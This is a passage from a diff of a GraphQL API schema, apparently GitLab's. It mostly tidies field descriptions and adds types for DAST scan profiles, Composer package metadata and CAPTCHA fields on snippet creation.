latest first.", "args": [ { "name": "status", @@ -9747,7 +10411,7 @@ }, { "name": "sha", - "description": "SHA1 ID of the commit", + "description": "SHA1 ID of the commit.", "args": [ ], @@ -9765,7 +10429,7 @@ }, { "name": "shortId", - "description": "Short SHA1 ID of the commit", + "description": "Short SHA1 ID of the commit.", "args": [ ], @@ -9783,7 +10447,7 @@ }, { "name": "signatureHtml", - "description": "Rendered HTML of the commit signature", + "description": "Rendered HTML of the commit signature.", "args": [ ], @@ -9797,7 +10461,7 @@ }, { "name": "title", - "description": "Title of the commit message", + "description": "Title of the commit message.", "args": [ ], @@ -9825,7 +10489,7 @@ }, { "name": "webPath", - "description": "Web path of the commit", + "description": "Web path of the commit.", "args": [ ], @@ -9843,7 +10507,7 @@ }, { "name": "webUrl", - "description": "Web URL of the commit", + "description": "Web URL of the commit.", "args": [ ], @@ -9875,7 +10539,7 @@ "inputFields": [ { "name": "action", - "description": "The action to perform, create, delete, move, update, chmod", + "description": "The action to perform, create, delete, move, update, chmod.", "type": { "kind": "NON_NULL", "name": null, @@ -9889,7 +10553,7 @@ }, { "name": "filePath", - "description": "Full path to the file", + "description": "Full path to the file.", "type": { "kind": "NON_NULL", "name": null, @@ -9903,7 +10567,7 @@ }, { "name": "content", - "description": "Content of the file", + "description": "Content of the file.", "type": { "kind": "SCALAR", "name": "String", @@ -9913,7 +10577,7 @@ }, { "name": "previousPath", - "description": "Original full path to the file being moved", + "description": "Original full path to the file being moved.", "type": { "kind": "SCALAR", "name": "String", @@ -9923,7 +10587,7 @@ }, { "name": "lastCommitId", - "description": "Last known file commit ID", + "description": "Last known file commit ID.", "type": { "kind": "SCALAR", "name": "String", @@ -9933,7 +10597,7 @@ }, { "name": "executeFilemode", - "description": "Enables/disables the execute flag on the file", + "description": "Enables/disables the execute flag on the file.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -9943,7 +10607,7 @@ }, { "name": "encoding", - "description": "Encoding of the file. Default is text", + "description": "Encoding of the file. Default is text.", "type": { "kind": "ENUM", "name": "CommitEncoding", @@ -10110,7 +10774,7 @@ }, { "name": "message", - "description": "Raw commit message", + "description": "Raw commit message.", "type": { "kind": "NON_NULL", "name": null, @@ -10301,7 +10965,7 @@ "fields": [ { "name": "color", - "description": "Hexadecimal representation of compliance framework's label color", + "description": "Hexadecimal representation of compliance framework's label color.", "args": [ ], @@ -10319,7 +10983,7 @@ }, { "name": "description", - "description": "Description of the compliance framework", + "description": "Description of the compliance framework.", "args": [ ], @@ -10337,7 +11001,7 @@ }, { "name": "id", - "description": "Compliance framework ID", + "description": "Compliance framework ID.", "args": [ ], @@ -10355,7 +11019,7 @@ }, { "name": "name", - "description": "Name of the compliance framework", + "description": "Name of the compliance framework.", "args": [ ], @@ -10370,6 +11034,20 @@ }, "isDeprecated": false, "deprecationReason": null + }, + { + "name": "pipelineConfigurationFullPath", + "description": "Full path of the compliance pipeline configuration stored in a project repository, such as `.gitlab/.compliance-gitlab-ci.yml@compliance/hippa`.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null } ], "inputFields": null, @@ -10526,6 +11204,16 @@ "ofType": null }, "defaultValue": null + }, + { + "name": "pipelineConfigurationFullPath", + "description": "Full path of the compliance pipeline configuration stored in a project repository, such as `.gitlab/.compliance-gitlab-ci.yml@compliance/hippa`.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null } ], "interfaces": null, @@ -10535,7 +11223,7 @@ { "kind": "SCALAR", "name": "ComplianceManagementFrameworkID", - "description": "Identifier of ComplianceManagement::Framework", + "description": "Identifier of ComplianceManagement::Framework.", "fields": null, "inputFields": null, "interfaces": null, @@ -10543,6 +11231,55 @@ "possibleTypes": null }, { + "kind": "OBJECT", + "name": "ComposerMetadata", + "description": "Composer metadata", + "fields": [ + { + "name": "composerJson", + "description": "Data of the Composer JSON file.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PackageComposerJsonType", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "targetSha", + "description": "Target SHA of the package.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "INPUT_OBJECT", "name": "ConfigureSastInput", "description": "Autogenerated input type of ConfigureSast", @@ -10683,7 +11420,7 @@ "fields": [ { "name": "cadence", - "description": "This container expiration policy schedule", + "description": "This container expiration policy schedule.", "args": [ ], @@ -10701,7 +11438,7 @@ }, { "name": "createdAt", - "description": "Timestamp of when the container expiration policy was created", + "description": "Timestamp of when the container expiration policy was created.", "args": [ ], @@ -10719,7 +11456,7 @@ }, { "name": "enabled", - "description": "Indicates whether this container expiration policy is enabled", + "description": "Indicates whether this container expiration policy is enabled.", "args": [ ], @@ -10737,7 +11474,7 @@ }, { "name": "keepN", - "description": "Number of tags to retain", + "description": "Number of tags to retain.", "args": [ ], @@ -10751,7 +11488,7 @@ }, { "name": "nameRegex", - "description": "Tags with names matching this regex pattern will expire", + "description": "Tags with names matching this regex pattern will expire.", "args": [ ], @@ -10765,7 +11502,7 @@ }, { "name": "nameRegexKeep", - "description": "Tags with names matching this regex pattern will be preserved", + "description": "Tags with names matching this regex pattern will be preserved.", "args": [ ], @@ -10779,7 +11516,7 @@ }, { "name": "nextRunAt", - "description": "Next time that this container expiration policy will get executed", + "description": "Next time that this container expiration policy will get executed.", "args": [ ], @@ -10793,7 +11530,7 @@ }, { "name": "olderThan", - "description": "Tags older that this will expire", + "description": "Tags older that this will expire.", "args": [ ], @@ -10807,7 +11544,7 @@ }, { "name": "updatedAt", - "description": "Timestamp of when the container expiration policy was updated", + "description": "Timestamp of when the container expiration policy was updated.", "args": [ ], @@ -11097,7 +11834,7 @@ }, { "name": "project", - "description": "Project of the container registry", + "description": "Project of the container registry.", "args": [ ], @@ -11416,7 +12153,7 @@ }, { "name": "project", - "description": "Project of the container registry", + "description": "Project of the container registry.", "args": [ ], @@ -11448,7 +12185,7 @@ }, { "name": "tags", - "description": "Tags of the container repository", + "description": "Tags of the container repository.", "args": [ { "name": "after", @@ -11591,7 +12328,7 @@ { "kind": "SCALAR", "name": "ContainerRepositoryID", - "description": "Identifier of ContainerRepository", + "description": "Identifier of ContainerRepository.", "fields": null, "inputFields": null, "interfaces": null, @@ -11600,6 +12337,77 @@ }, { "kind": "ENUM", + "name": "ContainerRepositorySort", + "description": "Values for sorting container repositories", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": [ + { + "name": "updated_desc", + "description": "Updated at descending order", + "isDeprecated": true, + "deprecationReason": "Use UPDATED_DESC. Deprecated in 13.5." + }, + { + "name": "updated_asc", + "description": "Updated at ascending order", + "isDeprecated": true, + "deprecationReason": "Use UPDATED_ASC. Deprecated in 13.5." + }, + { + "name": "created_desc", + "description": "Created at descending order", + "isDeprecated": true, + "deprecationReason": "Use CREATED_DESC. Deprecated in 13.5." + }, + { + "name": "created_asc", + "description": "Created at ascending order", + "isDeprecated": true, + "deprecationReason": "Use CREATED_ASC. Deprecated in 13.5." + }, + { + "name": "UPDATED_DESC", + "description": "Updated at descending order", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "UPDATED_ASC", + "description": "Updated at ascending order", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "CREATED_DESC", + "description": "Created at descending order", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "CREATED_ASC", + "description": "Created at ascending order", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "NAME_ASC", + "description": "Name by ascending order", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "NAME_DESC", + "description": "Name by descending order", + "isDeprecated": false, + "deprecationReason": null + } + ], + "possibleTypes": null + }, + { + "kind": "ENUM", "name": "ContainerRepositoryStatus", "description": "Status of a container repository", "fields": null, @@ -12012,7 +12820,7 @@ }, { "name": "todo", - "description": "The todo after mutation.", + "description": "The to-do item after mutation.", "args": [ ], @@ -12200,7 +13008,7 @@ "inputFields": [ { "name": "projectPath", - "description": "The project full path the resource is associated with.", + "description": "Full path of the project with which the resource is associated.", "type": { "kind": "SCALAR", "name": "ID", @@ -12210,7 +13018,7 @@ }, { "name": "groupPath", - "description": "The group full path the resource is associated with.", + "description": "Full path of the group with which the resource is associated.", "type": { "kind": "SCALAR", "name": "ID", @@ -12230,7 +13038,7 @@ }, { "name": "hideBacklogList", - "description": "Whether or not backlog list is hidden", + "description": "Whether or not backlog list is hidden.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -12240,7 +13048,7 @@ }, { "name": "hideClosedList", - "description": "Whether or not closed list is hidden", + "description": "Whether or not closed list is hidden.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -12290,7 +13098,7 @@ }, { "name": "labels", - "description": "Labels of the issue", + "description": "Labels of the issue.", "type": { "kind": "LIST", "name": null, @@ -12905,38 +13713,20 @@ "fields": null, "inputFields": [ { - "name": "name", - "description": "Name of the segment.", + "name": "namespaceId", + "description": "Namespace ID to set for the segment.", "type": { "kind": "NON_NULL", "name": null, "ofType": { "kind": "SCALAR", - "name": "String", + "name": "NamespaceID", "ofType": null } }, "defaultValue": null }, { - "name": "groupIds", - "description": "The array of group IDs to set for the segment.", - "type": { - "kind": "LIST", - "name": null, - "ofType": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "SCALAR", - "name": "GroupID", - "ofType": null - } - } - }, - "defaultValue": null - }, - { "name": "clientMutationId", "description": "A unique identifier for the client performing the mutation.", "type": { @@ -13040,7 +13830,7 @@ }, { "name": "body", - "description": "Content of the note", + "description": "Content of the note.", "type": { "kind": "NON_NULL", "name": null, @@ -13064,7 +13854,7 @@ }, { "name": "position", - "description": "The position of this note on a diff", + "description": "The position of this note on a diff.", "type": { "kind": "NON_NULL", "name": null, @@ -13388,7 +14178,7 @@ }, { "name": "body", - "description": "Content of the note", + "description": "Content of the note.", "type": { "kind": "NON_NULL", "name": null, @@ -13412,7 +14202,7 @@ }, { "name": "position", - "description": "The position of this note on a diff", + "description": "The position of this note on a diff.", "type": { "kind": "NON_NULL", "name": null, @@ -13514,7 +14304,7 @@ "inputFields": [ { "name": "description", - "description": "Description of the issue", + "description": "Description of the issue.", "type": { "kind": "SCALAR", "name": "String", @@ -13524,7 +14314,7 @@ }, { "name": "dueDate", - "description": "Due date of the issue", + "description": "Due date of the issue.", "type": { "kind": "SCALAR", "name": "ISO8601Date", @@ -13534,7 +14324,7 @@ }, { "name": "confidential", - "description": "Indicates the issue is confidential", + "description": "Indicates the issue is confidential.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -13544,7 +14334,7 @@ }, { "name": "locked", - "description": "Indicates discussion is locked on the issue", + "description": "Indicates discussion is locked on the issue.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -13578,7 +14368,7 @@ }, { "name": "title", - "description": "Title of the issue", + "description": "Title of the issue.", "type": { "kind": "NON_NULL", "name": null, @@ -13602,7 +14392,7 @@ }, { "name": "labels", - "description": "Labels of the issue", + "description": "Labels of the issue.", "type": { "kind": "LIST", "name": null, @@ -13803,8 +14593,8 @@ "fields": null, "inputFields": [ { - "name": "groupPath", - "description": "The target group for the iteration.", + "name": "projectPath", + "description": "Full path of the project with which the resource is associated.", "type": { "kind": "SCALAR", "name": "ID", @@ -13813,8 +14603,8 @@ "defaultValue": null }, { - "name": "projectPath", - "description": "The target project for the iteration.", + "name": "groupPath", + "description": "Full path of the group with which the resource is associated.", "type": { "kind": "SCALAR", "name": "ID", @@ -13966,7 +14756,7 @@ }, { "name": "body", - "description": "Content of the note", + "description": "Content of the note.", "type": { "kind": "NON_NULL", "name": null, @@ -14209,6 +14999,26 @@ "fields": null, "inputFields": [ { + "name": "captchaResponse", + "description": "A valid CAPTCHA response value obtained by using the provided captchaSiteKey with a CAPTCHA API to present a challenge to be solved on the client. Required to resubmit if the previous operation returned \"NeedsCaptchaResponse: true\".", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "spamLogId", + "description": "The spam log ID which must be passed along with a valid CAPTCHA response for the operation to be completed. Required to resubmit if the previous operation returned \"NeedsCaptchaResponse: true\".", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { "name": "title", "description": "Title of the snippet.", "type": { @@ -14313,6 +15123,20 @@ "description": "Autogenerated return type of CreateSnippet", "fields": [ { + "name": "captchaSiteKey", + "description": "The CAPTCHA site key which must be used to render a challenge for the user to solve to obtain a valid captchaResponse value. Included only when an operation was not completed because \"NeedsCaptchaResponse\" is true.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "clientMutationId", "description": "A unique identifier for the client performing the mutation.", "args": [ @@ -14353,6 +15177,20 @@ "deprecationReason": null }, { + "name": "needsCaptchaResponse", + "description": "Indicates whether the operation was detected as possible spam and not completed. If CAPTCHA is enabled, the request must be resubmitted with a valid CAPTCHA response and spam_log_id included for the operation to be completed. Included only when an operation was not completed because \"NeedsCaptchaResponse\" is true.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "snippet", "description": "The snippet after mutation.", "args": [ @@ -14368,7 +15206,7 @@ }, { "name": "spam", - "description": "Indicates whether the operation returns a record detected as spam.", + "description": "Indicates whether the operation was detected as definite spam. There is no option to resubmit the request with a CAPTCHA response.", "args": [ ], @@ -14379,6 +15217,20 @@ }, "isDeprecated": false, "deprecationReason": null + }, + { + "name": "spamLogId", + "description": "The spam log ID which must be passed along with a valid CAPTCHA response for an operation to be completed. Included only when an operation was not completed because \"NeedsCaptchaResponse\" is true.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null } ], "inputFields": null, @@ -14539,7 +15391,7 @@ "fields": [ { "name": "currentUserTodos", - "description": "Todos for the current user", + "description": "To-do items for the current user.", "args": [ { "name": "after", @@ -14583,7 +15435,7 @@ }, { "name": "state", - "description": "State of the todos", + "description": "State of the to-do items.", "type": { "kind": "ENUM", "name": "TodoStateEnum", @@ -14648,7 +15500,7 @@ "fields": [ { "name": "external", - "description": "Whether the emoji is an external link", + "description": "Whether the emoji is an external link.", "args": [ ], @@ -14666,7 +15518,7 @@ }, { "name": "id", - "description": "The ID of the emoji", + "description": "The ID of the emoji.", "args": [ ], @@ -14684,7 +15536,7 @@ }, { "name": "name", - "description": "The name of the emoji", + "description": "The name of the emoji.", "args": [ ], @@ -14702,7 +15554,7 @@ }, { "name": "url", - "description": "The link to file of the emoji", + "description": "The link to file of the emoji.", "args": [ ], @@ -14841,7 +15693,7 @@ { "kind": "SCALAR", "name": "CustomEmojiID", - "description": "Identifier of CustomEmoji", + "description": "Identifier of CustomEmoji.", "fields": null, "inputFields": null, "interfaces": null, @@ -14975,6 +15827,791 @@ "possibleTypes": null }, { + "kind": "OBJECT", + "name": "DastProfile", + "description": "Represents a DAST Profile", + "fields": [ + { + "name": "dastScannerProfile", + "description": "The associated scanner profile.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "DastScannerProfile", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "dastSiteProfile", + "description": "The associated site profile.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "DastSiteProfile", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "description", + "description": "The description of the scan.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "editPath", + "description": "Relative web path to the edit page of a profile.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "id", + "description": "ID of the profile.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "DastProfileID", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "The name of the profile.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "DastProfileConnection", + "description": "The connection type for DastProfile.", + "fields": [ + { + "name": "edges", + "description": "A list of edges.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "DastProfileEdge", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "nodes", + "description": "A list of nodes.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "DastProfile", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pageInfo", + "description": "Information to aid in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PageInfo", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", + "name": "DastProfileCreateInput", + "description": "Autogenerated input type of DastProfileCreate", + "fields": null, + "inputFields": [ + { + "name": "fullPath", + "description": "The project the profile belongs to.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "name", + "description": "The name of the profile.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "description", + "description": "The description of the profile. Defaults to an empty string.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": "\"\"" + }, + { + "name": "dastSiteProfileId", + "description": "ID of the site profile to be associated.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "DastSiteProfileID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "dastScannerProfileId", + "description": "ID of the scanner profile to be associated.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "DastScannerProfileID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "runAfterCreate", + "description": "Run scan using profile after creation. Defaults to false.", + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "defaultValue": "false" + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "DastProfileCreatePayload", + "description": "Autogenerated return type of DastProfileCreate", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "dastProfile", + "description": "The created profile.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "DastProfile", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pipelineUrl", + "description": "The URL of the pipeline that was created. Requires `runAfterCreate` to be set to `true`.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", + "name": "DastProfileDeleteInput", + "description": "Autogenerated input type of DastProfileDelete", + "fields": null, + "inputFields": [ + { + "name": "id", + "description": "ID of the profile to be deleted.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "DastProfileID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "DastProfileDeletePayload", + "description": "Autogenerated return type of DastProfileDelete", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "DastProfileEdge", + "description": "An edge in a connection.", + "fields": [ + { + "name": "cursor", + "description": "A cursor for use in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "node", + "description": "The item at the end of the edge.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "DastProfile", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "SCALAR", + "name": "DastProfileID", + "description": "Identifier of Dast::Profile.", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", + "name": "DastProfileRunInput", + "description": "Autogenerated input type of DastProfileRun", + "fields": null, + "inputFields": [ + { + "name": "fullPath", + "description": "Full path for the project the scanner profile belongs to.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "id", + "description": "ID of the profile to be used for the scan.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "DastProfileID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "DastProfileRunPayload", + "description": "Autogenerated return type of DastProfileRun", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pipelineUrl", + "description": "URL of the pipeline that was created.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", + "name": "DastProfileUpdateInput", + "description": "Autogenerated input type of DastProfileUpdate", + "fields": null, + "inputFields": [ + { + "name": "id", + "description": "ID of the profile to be deleted.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "DastProfileID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "fullPath", + "description": "The project the profile belongs to.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "name", + "description": "The name of the profile.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "description", + "description": "The description of the profile. Defaults to an empty string.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": "\"\"" + }, + { + "name": "dastSiteProfileId", + "description": "ID of the site profile to be associated.", + "type": { + "kind": "SCALAR", + "name": "DastSiteProfileID", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "dastScannerProfileId", + "description": "ID of the scanner profile to be associated.", + "type": { + "kind": "SCALAR", + "name": "DastScannerProfileID", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "runAfterUpdate", + "description": "Run scan using profile after update. Defaults to false.", + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "defaultValue": "false" + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "DastProfileUpdatePayload", + "description": "Autogenerated return type of DastProfileUpdate", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "dastProfile", + "description": "The updated profile.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "DastProfile", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pipelineUrl", + "description": "The URL of the pipeline that was created. Requires the input argument `runAfterUpdate` to be set to `true` when calling the mutation, otherwise no pipeline will be created.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "ENUM", "name": "DastScanTypeEnum", "description": null, @@ -15004,7 +16641,7 @@ "fields": [ { "name": "editPath", - "description": "Relative web path to the edit page of a scanner profile", + "description": "Relative web path to the edit page of a scanner profile.", "args": [ ], @@ -15018,7 +16655,7 @@ }, { "name": "globalId", - "description": "ID of the DAST scanner profile Deprecated in 13.6: Use `id`.", + "description": "ID of the DAST scanner profile. Deprecated in 13.6: Use `id`.", "args": [ ], @@ -15036,7 +16673,7 @@ }, { "name": "id", - "description": "ID of the DAST scanner profile", + "description": "ID of the DAST scanner profile.", "args": [ ], @@ -15054,7 +16691,7 @@ }, { "name": "profileName", - "description": "Name of the DAST scanner profile", + "description": "Name of the DAST scanner profile.", "args": [ ], @@ -15100,7 +16737,7 @@ }, { "name": "spiderTimeout", - "description": "The maximum number of minutes allowed for the spider to traverse the site", + "description": "The maximum number of minutes allowed for the spider to traverse the site.", "args": [ ], @@ -15114,7 +16751,7 @@ }, { "name": "targetTimeout", - "description": "The maximum number of seconds allowed for the site under test to respond to a request", + "description": "The maximum number of seconds allowed for the site under test to respond to a request.", "args": [ ], @@ -15549,7 +17186,7 @@ { "kind": "SCALAR", "name": "DastScannerProfileID", - "description": "Identifier of DastScannerProfile", + "description": "Identifier of DastScannerProfile.", "fields": null, "inputFields": null, "interfaces": null, @@ -15751,7 +17388,7 @@ "fields": [ { "name": "editPath", - "description": "Relative web path to the edit page of a site profile", + "description": "Relative web path to the edit page of a site profile.", "args": [ ], @@ -15765,7 +17402,7 @@ }, { "name": "id", - "description": "ID of the site profile", + "description": "ID of the site profile.", "args": [ ], @@ -15783,7 +17420,7 @@ }, { "name": "normalizedTargetUrl", - "description": "Normalized URL of the target to be scanned", + "description": "Normalized URL of the target to be scanned.", "args": [ ], @@ -15797,7 +17434,7 @@ }, { "name": "profileName", - "description": "The name of the site profile", + "description": "The name of the site profile.", "args": [ ], @@ -15811,7 +17448,7 @@ }, { "name": "targetUrl", - "description": "The URL of the target to be scanned", + "description": "The URL of the target to be scanned.", "args": [ ], @@ -15843,7 +17480,7 @@ }, { "name": "validationStatus", - "description": "The current validation status of the site profile", + "description": "The current validation status of the site profile.", "args": [ ], @@ -16206,7 +17843,7 @@ { "kind": "SCALAR", "name": "DastSiteProfileID", - "description": "Identifier of DastSiteProfile", + "description": "Identifier of DastSiteProfile.", "fields": null, "inputFields": null, "interfaces": null, @@ -16568,7 +18205,7 @@ { "kind": "SCALAR", "name": "DastSiteTokenID", - "description": "Identifier 